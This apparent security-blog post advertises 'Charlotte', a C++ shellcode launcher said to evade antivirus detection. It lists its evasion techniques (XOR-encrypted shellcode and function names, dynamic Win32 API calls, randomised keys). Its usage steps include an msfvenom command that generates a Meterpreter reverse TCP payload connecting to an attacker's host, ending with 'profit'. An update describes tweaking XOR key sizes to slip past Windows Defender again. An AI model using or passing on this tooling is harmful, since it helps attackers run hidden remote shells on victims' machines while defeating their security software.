Charlotte : C++ Fully Undetected Shellcode Launcher

Charlotte is an c++ fully undetected shellcode launcher .

Description

  • 13/05/2021:
    • c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021.
    • dynamic invoking of win32 api functions
    • XOR encryption of shellcode and function names
    • randomised XOR keys and variables per run
    • on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it!
  • 17/05/2021:
    • random strings length and XOR keys length

Antiscan.me

Usage

git clone the repository, generate your shellcode file with the naming beacon.bin, and run charlotte.py

Example:

git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
cd charlotte
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
python charlotte.py
profit

tested with msfvenom -p (shown in the .gif POC below) and also cobalt strike raw format payload

Update v1.1

17/05/21:

Apparently Microsoft Windows Defender was able to detect the .DLL binary, and how did they flag it? by looking for several XOR keys of 16 byte size changing it to 9 shown in the POC .gif below shows it is now undetected again cheers.

R K

Recent Posts

Understanding the Model Context Protocol (MCP) and How It Works

Introduction to the Model Context Protocol (MCP) The Model Context Protocol (MCP) is an open…

1 day ago

The file Command – Quickly Identify File Contents in Linux

While file extensions in Linux are optional and often misleading, the file command helps decode what a…

2 days ago

How to Use the touch Command in Linux

The touch command is one of the quickest ways to create new empty files or update timestamps…

2 days ago

How to Search Files and Folders in Linux Using the find Command

Handling large numbers of files is routine for Linux users, and that’s where the find command shines.…

2 days ago

How to Move and Rename Files in Linux with the mv Command

Managing files and directories is foundational for Linux workflows, and the mv (“move”) command makes it easy…

2 days ago

How to Create Directories in Linux with the mkdir Command

Creating directories is one of the earliest skills you'll use on a Linux system. The mkdir (make…

2 days ago